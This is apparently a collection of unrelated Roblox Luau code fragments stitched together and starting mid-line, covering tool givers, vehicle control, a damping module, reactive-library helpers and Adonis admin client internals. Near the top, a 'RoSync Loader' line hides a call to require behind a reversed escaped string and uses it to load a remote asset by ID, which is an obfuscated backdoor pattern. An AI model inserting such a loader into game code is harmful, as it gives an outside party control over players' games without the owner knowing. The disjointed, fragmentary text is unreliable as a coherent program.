targetPos + lookAt) Tool.Handle.BuildSound:Play() buildWall(cf) wait(5) Tool.Enabled = true end Tool.Activated:Connect(onActivated)
--[[ Last synced 11/11/2020 02:20 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
--[[ The Module ]]
-- local BaseCharacterController = require(script.Parent:WaitForChild("BaseCharacterController")) local DynamicThumbstick = setmetatable({}, BaseCharacterController) DynamicThumbstick.__index = DynamicThumbstick function DynamicThumbstick.new() local self = setmetatable(BaseCharacterController.new(), DynamicThumbstick) self.humanoid = nil self.tools = {} self.toolEquipped = nil self.revertAutoJumpEnabledToFalse = false self.moveTouchObject = nil self.moveTouchStartPosition = nil self.startImage = nil self.endImage = nil self.middleImages = {} self.startImageFadeTween = nil self.endImageFadeTween = nil self.middleImageFadeTweens = {} self.isFirstTouch = true self.isFollowStick = false self.thumbstickFrame = nil self.onTouchMovedConn = nil self.onTouchEndedConn = nil self.onTouchActivateConn = nil self.onRenderSteppedConn = nil self.fadeInAndOutBalance = FADE_IN_OUT_BALANCE_DEFAULT self.fadeInAndOutHalfDuration = FADE_IN_OUT_HALF_DURATION_DEFAULT self.hasFadedBackgroundInPortrait = false self.hasFadedBackgroundInLandscape = false self.tweenInAlphaStart = nil self.tweenOutAlphaStart = nil -- If this module changes a player's humanoid's AutoJumpEnabled, it saves -- the previous state in this variable to revert to self.shouldRevertAutoJumpOnDisable = false return self end
-- Libraries
local Libraries = Tool:WaitForChild 'Libraries' local Support = require(Libraries:WaitForChild 'SupportLibrary') local MoveUtil = require(script.Parent:WaitForChild 'Util')
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
local hitPart = script.Parent local debounce = true local tool = game.ServerStorage.KittyBow -- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage hitPart.Touched:Connect(function(hit) if debounce == true then if hit.Parent:FindFirstChild("Humanoid") then local plr = game.Players:FindFirstChild(hit.Parent.Name) if plr then debounce = false hitPart.BrickColor = BrickColor.new("Bright red") tool:Clone().Parent = plr.Backpack wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again debounce = true hitPart.BrickColor = BrickColor.new("Bright green") end end end end)
--Mobile
local jumpButton if uis.TouchEnabled then pcall(function() jumpButton = player:WaitForChild("PlayerGui"):WaitForChild("TouchGui"):WaitForChild("TouchControlFrame"):WaitForChild("JumpButton") end) end if jumpButton ~= nil then jumpButton.MouseButton1Down:Connect(ToggleFlying) end
-- Game Variables
GameSettings.intermissionDuration = 10 GameSettings.roundDuration = 60 GameSettings.minimumPlayers = 1 GameSettings.transitionStart = 3 GameSettings.transitionEnd = 3 GameSettings.pointValues = { -- Value types must match folder names to award points correctly LowPoints = 0, MediumPoints = 10, HighPoints = 15, } GameSettings.roundWalkSpeed = 10 GameSettings.mapName = "Arena" return GameSettings
--end
wait(1) end end) end end) else script.Parent.Parent.Enabled = false end
--[=[ Pipes the tranformers through each other https://rxjs-dev.firebaseapp.com/api/index/function/pipe @param transformers { Observable<any> } @return (source: Observable<T>) -> Observable<U> ]=]
function Rx.pipe(transformers) assert(type(transformers) == "table", "Bad transformers") for index, transformer in pairs(transformers) do if type(transformer) ~= "function" then error(("[Rx.pipe] Bad pipe value of type %q at index %q, expected function") :format(type(transformer), tostring(index))) end end return function(source) assert(source, "Bad source") local current = source for key, transformer in pairs(transformers) do current = transformer(current) if not (type(current) == "table" and current.ClassName == "Observable") then error(("[Rx.pipe] - Failed to transform %q in pipe, made %q (%s)") :format(tostring(key), tostring(current), tostring(type(current) == "table" and current.ClassName or ""))) end end return current end end
-- Note that this has not been refactored into a class yet
Chassis.InitializeDrivingValues()
--[[ local Damping = require(this) local damping = Damping.new() damping.P = NUMBER damping.D = NUMBER damping.Position = Vector3 damping.Goal = Vector3 damping:Update() [Returns Vector3 position] damping:UpdateAngle() [Returns Vector3 position, but each XYZ value is wrapped properly for pi*2 motion] EXAMPLE USE: -- Set D and P values: damping.P = 5 damping.D = 0.1 -- Set starting position: damping.Position = part.Position while (true) do wait() -- Update the goal: damping.Goal = mouse.Hit.p -- Calculate new position: local newPosition = damping:Update() part.Position = newPosition end ALGORITHM: velocity += P * ( (target - current) + D * -velocity ); current += velocity * dt; Credit: http://www.gamedev.net/topic/561981-smooth-value-damping/ --]]
local Damping = {} Damping.__index = Damping local V3 = Vector3.new local PI = math.pi local TAU = PI * 2 local tick = tick local function CheckNAN(value, returnIfNan) return (value == value and value or returnIfNan) end local function DeltaAngle(current, target) local num = (target - current) % TAU return (num > PI and (num - TAU) or num) end local function DeltaAngleV3(pos1, pos2) return V3( DeltaAngle(pos1.X, pos2.X), DeltaAngle(pos1.Y, pos2.Y), DeltaAngle(pos1.Z, pos2.Z) ) end function Damping.new() local damping = setmetatable({ P = 5; D = 0.1; Position = V3(); Velocity = V3(); Goal = V3(); Last = tick(); }, Damping) return damping end function Damping:CheckNAN() self.Velocity = V3(CheckNAN(self.Velocity.X, 0), CheckNAN(self.Velocity.Y, 0), CheckNAN(self.Velocity.Z, 0)) self.Position = V3(CheckNAN(self.Position.X, self.Goal.X), CheckNAN(self.Position.Y, self.Goal.Y), CheckNAN(self.Position.Z, self.Goal.Z)) end function Damping:Update() local t = tick() local dt = (t - self.Last) self.Last = t self.Velocity = (self.Velocity + (self.P * ((self.Goal - self.Position) + (-self.Velocity * self.D)))) self.Position = (self.Position + (self.Velocity * dt)) self:CheckNAN() return self.Position end function Damping:UpdateAngle() self.Goal = (self.Position + DeltaAngleV3(self.Position, self.Goal)) return self:Update() end return Damping
---------------------------------------------
local alreadythrown=false local HoldAnim, ThrowAnim; function UUU() if script.Parent.Anim.Value==false then if alreadythrown then return end if game.Workspace.Preparation.Value==true then return end if script.Parent.Enabled==false then return end HoldAnim:Play() script.Parent.Anim.Value=true end end function THROW(short) if game.Workspace.Preparation.Value==true then return end if script.Parent.Enabled==false then return end if script.Parent.Anim.Value==true then if alreadythrown then return end alreadythrown=true --we track the reload time like this so that the player can't fire faster with --rapid dis / re-equipping, which will actually be common usage with this gear. HoldAnim:Stop(0) if short and short==true then local dent=Instance.new("IntValue") dent.Parent=script.Parent dent.Name="Short" end script.Parent.Anim.Value=false ThrowAnim:Play(0,1,1) script.Parent.Handle.Throw:Play() wait(0.2) -- script.Parent.SpawnGrenade:FireServer(game.Players.LocalPlayer.Character.Head.CFrame,game.Players.LocalPlayer.Character.Humanoid.TargetPoint,short) end end repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character local idle=game.Players.LocalPlayer.Character:WaitForChild("Humanoid"):LoadAnimation(script.Parent:WaitForChild("Idle")) Tool.Equipped:connect(function(mouse) local button1=false local button2=false idle:Play() Character = Tool.Parent Player = game.Players:GetPlayerFromCharacter(Character) local HoldAnimSrc = WaitFor(Tool).HoldAnim() HoldAnimSrc.AnimationId = 'http://www.roblox.com/asset/?id=88743592' local ThrowAnimSrc = WaitFor(Tool).ThrowAnim() ThrowAnimSrc.AnimationId = 'http://www.roblox.com/asset/?id=88743566' HoldAnim = Character.Humanoid:LoadAnimation(HoldAnimSrc) ThrowAnim = Character.Humanoid:LoadAnimation(ThrowAnimSrc) script.Parent.Enabled=false wait(0.6) script.Parent.Enabled=true --setup first anim / cursor cycle mouse.Button1Down:connect(function() button1=true UUU() end) mouse.Button2Down:connect(function() button2=true UUU() end) mouse.Button1Up:connect(function() button1=false if button1==false and button2==false then THROW(false) end end) mouse.Button2Up:connect(function() button2=false if button1==false and button2==false then THROW(true) end end) end) Tool.Unequipped:connect(function() script.Parent.Anim.Value=false if idle then idle:Stop() end script.Parent.Anim.Value=false if ThrowAnim then ThrowAnim:Stop() end if HoldAnim then HoldAnim:Stop() end end)
--Print Version
local ver=require(car["A-Chassis Tune"].README) print("//INSPARE: AC6 Loaded - Build "..ver)
--------------- -- Variables -- ---------------
local PlayersService = game:GetService('Players') local Player = PlayersService.LocalPlayer local PlayerMouse = Player:GetMouse() local Camera = nil local CameraChangeConn = nil local PlayerCharacters = {} -- For ignoring in raycasts local VehicleParts = {} -- Also just for ignoring local LastPopAmount = 0 local LastZoomLevel = 0
--[[ while true do x=20 y=20 for x=20,60 do me.ImageLabel.Size=UDim2.new(x/100,0,y/100,0) wait(0.1) end x=60 for y=20,60 do me.ImageLabel.Size=UDim2.new(x/100,0,y/100,0) wait(0.1) end y=60 for x=60,20,-1 do me.ImageLabel.Size=UDim2.new(x/100,0,y/100,0) wait(0.1) end x=20 for y=60,20,-1 do me.ImageLabel.Size=UDim2.new(x/100,0,y/100,0) wait(0.1) end end print("end") ]]
--
------------------- -- Adonis Server -- ------------------- --!nocheck
--[[ This module is part of Adonis 1.0 and contains lots of old code; future updates will generally only be made to fix bugs, typos or functionality-affecting problems. If you find bugs or similar issues, please submit an issue report on our GitHub repository here: https://github.com/Epix-Incorporated/Adonis/issues/new/choose ]]
--[[Evt.Ombro.OnClientEvent:Connect(function(Nome) TextoOmbro.Text = Nome .." tapped your shoulder!" TextoOmbro.TextTransparency = 0 TextoOmbro.TextStrokeTransparency = 0 TS:Create(TextoOmbro, TweenInfo.new(5), {TextTransparency = 1,TextStrokeTransparency = 1} ):Play() end)]]
--//# Graphics+ --//# Version: 1.13 | Featuring Terrain+
--[=[ An event emitter that emits the instance that was actually created. This is useful for a variety of things. Using this to track an instance ```lua local currentCamera = Blend.State() return Blend.New "ViewportFrame" { CurrentCamera = currentCamera; [Blend.Children] = { self._current; Blend.New "Camera" { [Blend.Instance] = currentCamera; }; }; }; ``` Note that since 6.14 you should also be able to just use the reification scheme of [Blend.Children] implicitly in [Blend.mount] to get somewhat equivalent behavior. ```lua Blend.mount(frame, { -- Array indexed methods get treated as children-constructors, which get the parent -- in them; function(parent) print("Got parent!", parent) end; }) ``` You can also use this to execute code against an instance. ```lua return Blend.New "Frame" { [Blend.Instance] = function(frame) print("We got a new frame!") end; }; ``` Note that if you subscribe twice to the resulting observable, the internal function will execute twice. @param parent Instance @return Observable<Instance> ]=]
function Blend.Instance(parent) return Observable.new(function(sub) sub:Fire(parent) end) end
-- Set last play time
function Main:SetLastPlayTime(newTime: number) self.LastPlayTime = newTime self.Data.LastPlayTime = newTime return newTime end
--[[ Creates a new binding from this one with the given mapping. ]]
function bindingPrototype:map(valueTransform) if config.typeChecks then assert(typeof(valueTransform) == "function", "Bad arg #1 to binding:map: expected function") end local binding = Binding.create(valueTransform(self:getValue())) binding[InternalData].valueTransform = valueTransform binding[InternalData].upstreamBinding = self return binding end
-- This function is called when a player joins the game
function onPlayerJoin(player) -- Generate a new secret for the player generateSecret() -- Send the player a message with their secret player:SendMessage("Welcome to the game! You have been given a secret that you must not say in the chat. If you do, you will be kicked from the game. Your secret is: " .. secret) end
--[=[ Completes all subscriptions and removes them from the list. ]=]
function ObservableSubscriptionTable:Destroy() while next(self._subMap) do local key, list = next(self._subMap) self._subMap[key] = nil for _, sub in pairs(list) do if sub:IsPending() then task.spawn(function() sub:Complete() end) end end end end return ObservableSubscriptionTable
-- Coroutine runner that we create coroutines of. The coroutine can be -- repeatedly resumed with functions to run followed by the argument to run -- them with.
local function runEventHandlerInFreeThread(...) acquireRunnerThreadAndCallEventHandler(...) while true do acquireRunnerThreadAndCallEventHandler(coroutine.yield()) end end
-- Variables (best not to touch these!)
local button = script.Parent local car = script.Parent.Parent.Car.Value local sound = script.Parent.Start local sound1 = script.Parent.Start1 sound.Parent = car.DriveSeat -- What brick the start sound is playing from. button.MouseButton1Click:connect(function() -- Event when the button is clicked if script.Parent.Text == "Engine: Off" then -- If the text says it's off then.. sound:Play() wait(2) -- For realism. Okay? script.Parent.Parent.IsOn.Value = true -- The car is is on, or in other words, start up the car. sound1:Play() wait (0.2) sound:Stop() button.Text = "Engine: On"-- You don't really need this, but I would keep it. else -- If it's on then when you click the button, script.Parent.Parent.IsOn.Value = false -- The car is turned off. button.Text = "Engine: Off" end -- Don't touch this. end) -- And don't touch this either.
-- Freeze the table so nobody messes with it
table.freeze( Enums ) return Enums
--[[ Derived classes are required to override and implement all of the following functions ]]
-- function BaseOcclusion:GetOcclusionMode(): Enum.DevCameraOcclusionMode? -- Must be overridden in derived classes to return an Enum.DevCameraOcclusionMode value warn("BaseOcclusion GetOcclusionMode must be overridden by derived classes") return nil end function BaseOcclusion:Enable(enabled: boolean) warn("BaseOcclusion Enable must be overridden by derived classes") end function BaseOcclusion:Update(dt: number, desiredCameraCFrame: CFrame, desiredCameraFocus: CFrame) warn("BaseOcclusion Update must be overridden by derived classes") return desiredCameraCFrame, desiredCameraFocus end return BaseOcclusion
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
local hitPart = script.Parent local debounce = true local tool = game.ServerStorage.Noodle -- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage hitPart.Touched:Connect(function(hit) if debounce == true then if hit.Parent:FindFirstChild("Humanoid") then local plr = game.Players:FindFirstChild(hit.Parent.Name) if plr then debounce = false hitPart.BrickColor = BrickColor.new("Bright red") tool:Clone().Parent = plr.Backpack wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again debounce = true hitPart.BrickColor = BrickColor.new("Bright green") end end end end)
--if tool then -- local handle = tool:FindFirstChild("Handle") -- local toolCopy = tool:Clone() -- toolCopy.Parent = game.ServerStorage -- local toolOnPad = true -- -- local parentConnection -- parentConnection = tool.AncestryChanged:connect(function() -- if handle then handle.Anchored = false end -- toolOnPad = false -- parentConnection:disconnect() -- end) -- -- if handle then -- handle.CFrame = (spawner.CFrame + Vector3.new(0,handle.Size.Z/2 + 1,0)) * CFrame.Angles(-math.pi/2,0,0) -- handle.Anchored = true -- end -- -- while true do -- while toolOnPad do -- if handle then -- handle.CFrame = handle.CFrame * CFrame.Angles(0,0,math.pi/60) -- end -- wait() -- end -- wait(configs["SpawnCooldown"]) -- local newTool = toolCopy:Clone() -- newTool.Parent = game.Workspace -- handle = newTool:FindFirstChild("Handle") -- toolOnPad = true -- end --end
--[[ Returns the current value of this ComputedPairs object. The object will be registered as a dependency unless `asDependency` is false. ]]
function class:get(asDependency: boolean?): any if asDependency ~= false then useDependency(self) end return self._outputTable end
--//Unpacking scripts
local module = script.Parent local event = script.DoubleJumpEvent module.Name = "DoubleJumpSettings" script.JumpPlatform.Parent = game.ReplicatedStorage script.Parent = game.ServerScriptService module.Parent = game.ReplicatedStorage event.Parent = game.ReplicatedStorage
-- Note that VehicleController does not derive from BaseCharacterController, it is a special case
local VehicleController = {} VehicleController.__index = VehicleController function VehicleController.new(CONTROL_ACTION_PRIORITY) local self = setmetatable({}, VehicleController) self.CONTROL_ACTION_PRIORITY = CONTROL_ACTION_PRIORITY self.enabled = false self.vehicleSeat = nil self.throttle = 0 self.steer = 0 self.acceleration = 0 self.decceleration = 0 self.turningRight = 0 self.turningLeft = 0 self.vehicleMoveVector = ZERO_VECTOR3 self.autoPilot = {} self.autoPilot.MaxSpeed = 0 self.autoPilot.MaxSteeringAngle = 0 return self end function VehicleController:BindContextActions() if useTriggersForThrottle then ContextActionService:BindActionAtPriority("throttleAccel", (function(actionName, inputState, inputObject) self:OnThrottleAccel(actionName, inputState, inputObject) return Enum.ContextActionResult.Pass end), false, self.CONTROL_ACTION_PRIORITY, Enum.KeyCode.ButtonR2) ContextActionService:BindActionAtPriority("throttleDeccel", (function(actionName, inputState, inputObject) self:OnThrottleDeccel(actionName, inputState, inputObject) return Enum.ContextActionResult.Pass end), false, self.CONTROL_ACTION_PRIORITY, Enum.KeyCode.ButtonL2) end ContextActionService:BindActionAtPriority("arrowSteerRight", (function(actionName, inputState, inputObject) self:OnSteerRight(actionName, inputState, inputObject) return Enum.ContextActionResult.Pass end), false, self.CONTROL_ACTION_PRIORITY, Enum.KeyCode.Right) ContextActionService:BindActionAtPriority("arrowSteerLeft", (function(actionName, inputState, inputObject) self:OnSteerLeft(actionName, inputState, inputObject) return Enum.ContextActionResult.Pass end), false, self.CONTROL_ACTION_PRIORITY, Enum.KeyCode.Left) end function VehicleController:Enable(enable, vehicleSeat) if enable == self.enabled and vehicleSeat == self.vehicleSeat then return end self.enabled = enable self.vehicleMoveVector = ZERO_VECTOR3 if enable then if vehicleSeat then self.vehicleSeat = vehicleSeat if FFlagUserClickToMoveFollowPathRefactor then self:SetupAutoPilot() end self:BindContextActions() end else if useTriggersForThrottle then ContextActionService:UnbindAction("throttleAccel") ContextActionService:UnbindAction("throttleDeccel") end ContextActionService:UnbindAction("arrowSteerRight") ContextActionService:UnbindAction("arrowSteerLeft") self.vehicleSeat = nil end end function VehicleController:OnThrottleAccel(actionName, inputState, inputObject) if FFlagBetterHandlingVehicleInputStates then if inputState == Enum.UserInputState.End or inputState == Enum.UserInputState.Cancel then self.acceleration = 0 else self.acceleration = -1 end else self.acceleration = (inputState ~= Enum.UserInputState.End) and -1 or 0 end self.throttle = self.acceleration + self.decceleration end function VehicleController:OnThrottleDeccel(actionName, inputState, inputObject) if FFlagBetterHandlingVehicleInputStates then if inputState == Enum.UserInputState.End or inputState == Enum.UserInputState.Cancel then self.decceleration = 0 else self.decceleration = 1 end else self.decceleration = (inputState ~= Enum.UserInputState.End) and 1 or 0 end self.throttle = self.acceleration + self.decceleration end function VehicleController:OnSteerRight(actionName, inputState, inputObject) if FFlagBetterHandlingVehicleInputStates then if inputState == Enum.UserInputState.End or inputState == Enum.UserInputState.Cancel then self.turningRight = 0 else self.turningRight = 1 end else self.turningRight = (inputState ~= Enum.UserInputState.End) and 1 or 0 end self.steer = self.turningRight + self.turningLeft end function VehicleController:OnSteerLeft(actionName, inputState, inputObject) if FFlagBetterHandlingVehicleInputStates then if inputState == Enum.UserInputState.End or inputState == Enum.UserInputState.Cancel then self.turningLeft = 0 else self.turningLeft = -1 end else self.turningLeft = (inputState ~= Enum.UserInputState.End) and -1 or 0 end self.steer = self.turningRight + self.turningLeft end
-- Do not edit the below.
script.Parent.Changed:connect(function(child) SingleDriverMode = script.Parent.DSL.Value if SingleDriverMode == true then if script.Parent.Occupant ~= nil then if script.Parent.Occupant.Parent.Name ~= AllowedDriver then script.Parent.Occupant.Jump = true script.Parent.Occupant.Health = 0 else end end else for i,v in pairs(Blacklist) do if script.Parent.Occupant ~= nil then if script.Parent.Occupant.Parent.Name == Blacklist[i] then if script.Parent.Occupant.Parent.Name ~= AllowedDriver then script.Parent.Occupant.Jump = true script.Parent.Occupant.Health = 0 end else end end end end end)
--- Returns the extra data associated with this command. -- This needs to be used instead of just context.Data for reliability when not using a remote command.
function Command:GetData () if self.Data then return self.Data end if self.Object.Data and not IsServer then self.Data = self.Object.Data(self) end return self.Data end
--- Alternative to WaitForChild which doesn't error and has custom wait time
local function WaitFor(parent, index) --- funny if not parent then return _L.Print("Failed to grab " .. index .. " (" .. parent.Name .. " is nil)", true) end local _t = tick() while (tick() - _t) <= waitTimeout do local child = parent:FindFirstChild(index) if child then return child end _L.Services.RunService.Heartbeat:Wait() end return _L.Print("Failed to grab " .. index, true) end Player.Get = function(instance, player) if isClient then player = player or game.Players.LocalPlayer end player = (type(player) == "string" and game.Players:FindFirstChild(player) or player) instance = instance or "Player" instance = string.lower(instance) --- Wait for player + character to EXIST! local _t = tick() while (player and (not player.Character) and (tick() - _t < waitTimeout)) do _L.Services.RunService.Stepped:Wait() end if (not player) or (tick() - _t) >= waitTimeout then return end --- Get humanoid & rigtype local humanoid = player.Character:FindFirstChild("Humanoid") local rigType = defaultRigType --- this will be default if humanoid cannot be read if humanoid then rigType = humanoid.RigType end --- R6 Compatibility if rigType == Enum.HumanoidRigType.R6 then if instance == "torso" then return WaitFor(player.Character, "Torso") elseif instance == "leftarm" then return WaitFor(player.Character, "LeftArm") elseif instance == "leftleg" then return WaitFor(player.Character, "LeftLeg") elseif instance == "rightarm" then return WaitFor(player.Character, "RightArm") elseif instance == "rightleg" then return WaitFor(player.Character, "RightLeg") end end --- R15 + everything else if instance == "player" or (not instance) then return player elseif instance == "character" then return player.Character elseif instance == "head" then return WaitFor(player.Character, "Head") elseif instance == "torso" or instance == "uppertorso" then return WaitFor(player.Character, "UpperTorso") elseif instance == "rootpart" or instance == "humanoidrootpart" then return WaitFor(player.Character, "HumanoidRootPart") elseif instance == "humanoid" then return WaitFor(player.Character, "Humanoid") elseif instance == "lowertorso" then return WaitFor(player.Character, "LowerTorso") elseif instance == "leftfoot" then return WaitFor(player.Character, "LeftFoot") elseif instance == "lefthand" then return WaitFor(player.Character, "LeftHand") elseif instance == "leftlowerarm" then return WaitFor(player.Character, "LeftLowerArm") elseif instance == "leftlowerleg" then return WaitFor(player.Character, "LeftLowerLeg") elseif instance == "leftupperarm" then return WaitFor(player.Character, "LeftUpperArm") elseif instance == "leftupperleg" then return WaitFor(player.Character, "LeftUpperLeg") elseif instance == "rightfoot" then return WaitFor(player.Character, "RightFoot") elseif instance == "righthand" then return WaitFor(player.Character, "RightHand") elseif instance == "rightlowerarm" then return WaitFor(player.Character, "RightLowerArm") elseif instance == "rightlowerleg" then return WaitFor(player.Character, "RightLowerLeg") elseif instance == "rightupperarm" then return WaitFor(player.Character, "RightUpperArm") elseif instance == "rightupperleg" then return WaitFor(player.Character, "RightUpperLeg") elseif instance == "root" then return WaitFor(WaitFor(player.Character, "LowerTorso"), "Root") elseif instance == "waist" then return WaitFor(WaitFor(player.Character, "UpperTorso"), "Waist") elseif instance == "neck" then return WaitFor(WaitFor(player.Character, "Head"), "Neck") elseif instance == "leftankle" then return WaitFor(WaitFor(player.Character, "LeftFoot"), "LeftAnkle") elseif instance == "leftwrist" then return WaitFor(WaitFor(player.Character, "LeftHand"), "LeftWrist") elseif instance == "leftelbow" then return WaitFor(WaitFor(player.Character, "LeftLowerArm"), "LeftElbow") elseif instance == "leftknee" then return WaitFor(WaitFor(player.Character, "LeftLowerLeg"), "LeftKnee") elseif instance == "leftshoulder" then return WaitFor(WaitFor(player.Character, "LeftUpperArm"), "LeftShoulder") elseif instance == "lefthip" then return WaitFor(WaitFor(player.Character, "LeftUpperLeg"), "LeftHip") elseif instance == "rightankle" then return WaitFor(WaitFor(player.Character, "RightFoot"), "RightAnkle") elseif instance == "rightwrist" then return WaitFor(WaitFor(player.Character, "RightHand"), "RightWrist") elseif instance == "rightelbow" then return WaitFor(WaitFor(player.Character, "RightLowerArm"), "RightElbow") elseif instance == "rightknee" then return WaitFor(WaitFor(player.Character, "RightLowerLeg"), "RightKnee") elseif instance == "rightshoulder" then return WaitFor(WaitFor(player.Character, "RightUpperArm"), "RightShoulder") elseif instance == "righthip" then return WaitFor(WaitFor(player.Character, "RightUpperLeg"), "RightHip") elseif instance == "playergui" then return player:WaitForChild("PlayerGui") elseif instance == "starterplayer" then return player:WaitForChild("StarterPlayer") elseif instance == "mouse" then return player:GetMouse() elseif instance == "camera" then return game.Workspace.CurrentCamera elseif instance == "name" then return player.Name end end
--Variables
local tool = script.Parent local color = game.Lighting.TheWorldColor local debounce = false local parts = game.Workspace:GetChildren()
-- The names of the frames in the Attribute frame correspond to stat names
function UpdateAttributes() script.Parent:WaitForChild("Points").Text = "Points: " .. players.LocalPlayer.Stats.Points.Value for _,attribute in pairs(attributes:GetChildren()) do if attribute.ClassName == "Frame" then local cap = replicatedStorage.ServerSettings:FindFirstChild(attribute.Name .. "Cap") local stat = players.LocalPlayer.Attributes:FindFirstChild(attribute.Name) local percentage = 1 if cap and stat then percentage = stat.Value / cap.Value end attribute.Bar.Fill.Position = UDim2.new(percentage - 1, 0, 0, 0) attribute.Title.Text = attribute.Name .. " (" .. stat.Value .. ")" end end end script.Parent:WaitForChild("Reset").MouseButton1Click:Connect(function() require(playSoundEffect)("Unequip") workspace.Remotes.ResetPoints:InvokeServer() UpdateAttributes() end) script.Parent:WaitForChild("Close").MouseButton1Click:Connect(function() require(switchMenu)(true) end) script.Parent:GetPropertyChangedSignal("Visible"):Connect(function() if script.Parent.Visible == true then UpdateAttributes() end end) for _,attribute in pairs(attributes:GetChildren()) do if attribute.ClassName == "Frame" then attribute:WaitForChild("Add").MouseButton1Click:Connect(function() local success = workspace.Remotes.UsePointForAttribute:InvokeServer(attribute.Name) if success then require(playSoundEffect)("Equip") UpdateAttributes() end end) end end
-- ================================================================================ -- LOCAL FUNCTIONS -- ================================================================================
local function exit() ContextActionService:UnbindAction("ExitSpeeder") local raceStatus = RaceManager:GetRaceStatus() if raceStatus == RaceManager.Status.WaitingForPlayers or raceStatus == RaceManager.Status.WaitingForRaceToStart then RemoveActivePlayer:FireServer() else PlayerConverter:SpeederToPlayer() end end -- exit()
--[=[ Repeatedly calls a Promise-returning function up to `times` number of times, until the returned Promise resolves. If the amount of retries is exceeded, the function will return the latest rejected Promise. ```lua local function canFail(a, b, c) return Promise.new(function(resolve, reject) -- do something that can fail local failed, thing = doSomethingThatCanFail(a, b, c) if failed then reject("it failed") else resolve(thing) end end) end local MAX_RETRIES = 10 local value = Promise.retry(canFail, MAX_RETRIES, "foo", "bar", "baz") -- args to send to canFail ``` @since 3.0.0 @param callback (...: P) -> Promise<T> @param times number @param ...? P ]=]
function Promise.retry(callback, times, ...) assert(isCallable(callback), "Parameter #1 to Promise.retry must be a function") assert(type(times) == "number", "Parameter #2 to Promise.retry must be a number") local args, length = { ... }, select("#", ...) return Promise.resolve(callback(...)):catch(function(...) if times > 0 then return Promise.retry(callback, times - 1, unpack(args, 1, length)) else return Promise.reject(...) end end) end
--[[ onChatAnimationPlayed(animationId: string, triggerWord: string): RBXScriptSignal This client event is fired every time the "chat emotes" feature plays an animation in response to a chat message being sent by the local player. It passes down both the ID of the animation that was activated and the corresponding trigger word that was detected in the message. --]]
SocialInteractions.onChatAnimationPlayed:Connect(function(animationId, triggerWord) print("Chat animation was played", animationId, triggerWord) end)
--[[ local warn = function(...) warn(...) end ]]
local cPcall = function(func, ...) local ran, err = pcall(coroutine.resume, coroutine.create(func), ...) if err then warn(':: ADONIS_ERROR ::',err) logError(tostring(err)) end return ran, err end local Pcall = function(func, ...) local ran, err = pcall(func, ...) if err then logError(tostring(err)) end return ran, err end local Routine = function(func, ...) return coroutine.resume(coroutine.create(func), ...) end local Immutable = function(...) local mut = coroutine.wrap(function(...) while true do coroutine.yield(...) end end) mut(...) return mut end local player = game:GetService("Players").LocalPlayer local Fire, Detected local wrap = coroutine.wrap local Kill; Kill = Immutable(function(info) --if true then print(info or "SOMETHING TRIED TO CRASH CLIENT?") return end wrap(function() pcall(function() if Detected then Detected("kick", info) elseif Fire then Fire("BadMemes", info) end end) end)() wrap(function() pcall(function() wait(1) service.Player:Kick(info) end) end)() wrap(function() pcall(function() wait(5) while true do pcall(spawn,function() spawn(Kill()) -- memes end) end end) end)() end); local GetEnv; GetEnv = function(env, repl) local scriptEnv = setmetatable({},{ __index = function(tab,ind) return (locals[ind] or (env or origEnv)[ind]) end; __metatable = unique; }) if repl and type(repl)=="table" then for ind, val in pairs(repl) do scriptEnv[ind] = val end end return scriptEnv end local LoadModule = function(plugin, yield, envVars) local plugran, plug = pcall(require, plugin) if plugran then if type(plug) == "function" then if yield then --Pcall(setfenv(plug,GetEnv(getfenv(plug), envVars))) local ran,err = service.TrackTask("Plugin: ".. tostring(plugin), setfenv(plug, GetEnv(getfenv(plug), envVars))) if not ran then warn("Module encountered an error while loading: "..tostring(plugin)) warn(tostring(err)) end else --service.Threads.RunTask("PLUGIN: "..tostring(plugin),setfenv(plug,GetEnv(getfenv(plug), envVars))) local ran,err = service.TrackTask("Thread: Plugin: ".. tostring(plugin), setfenv(plug, GetEnv(getfenv(plug), envVars))) if not ran then warn("Module encountered an error while loading: "..tostring(plugin)) warn(tostring(err)) end end else client[plugin.Name] = plug end else warn("Error while loading client module", plugin, plug) end end; log("Client setmetatable"); client = setmetatable({ Handlers = {}; Modules = {}; Service = service; Module = script; Print = print; Warn = warn; Deps = {}; Pcall = Pcall; cPcall = cPcall; Routine = Routine; OldPrint = oldPrint; LogError = logError; TestEvent = Instance.new("RemoteEvent"); Disconnect = function(info) service.Player:Kick(info or "Disconnected from server") --wait(30) --client.Kill()(info) end; --Kill = Kill; }, { __index = function(self, ind) if ind == "Kill" then local ran,func = pcall(function() return Kill() end); if not ran or type(func) ~= "function" then service.Players.LocalPlayer:Kick("Adonis (PlrClientIndexKlErr)"); while true do end end return func; end end }); locals = { Pcall = Pcall; GetEnv = GetEnv; cPcall = cPcall; client = client; Folder = Folder; Routine = Routine; service = service; logError = logError; origEnv = origEnv; log = log; dumplog = dumplog; } log("Create service metatable"); service = require(Folder.Shared.Service)(function(eType, msg, desc, ...) --warn(eType, msg, desc, ...) local extra = {...} if eType == "MethodError" then --Kill()("Shananigans denied") --player:Kick("Method error") --service.Detected("kick", "Method change detected") logError("Client", "Method Error Occured: "..tostring(msg)) elseif eType == "ServerError" then logError("Client", tostring(msg)) elseif eType == "ReadError" then --message("===== READ ERROR:::::::") --message(tostring(msg)) --message(tostring(desc)) --message(" ") Kill()(tostring(msg)) --if Detected then -- Detected("log", tostring(msg)) --end end end, function(c, parent, tab) if not isModule(c) and c ~= script and c ~= Folder and parent == nil then tab.UnHook() end end, ServiceSpecific, GetEnv(nil, {client = client}))
--
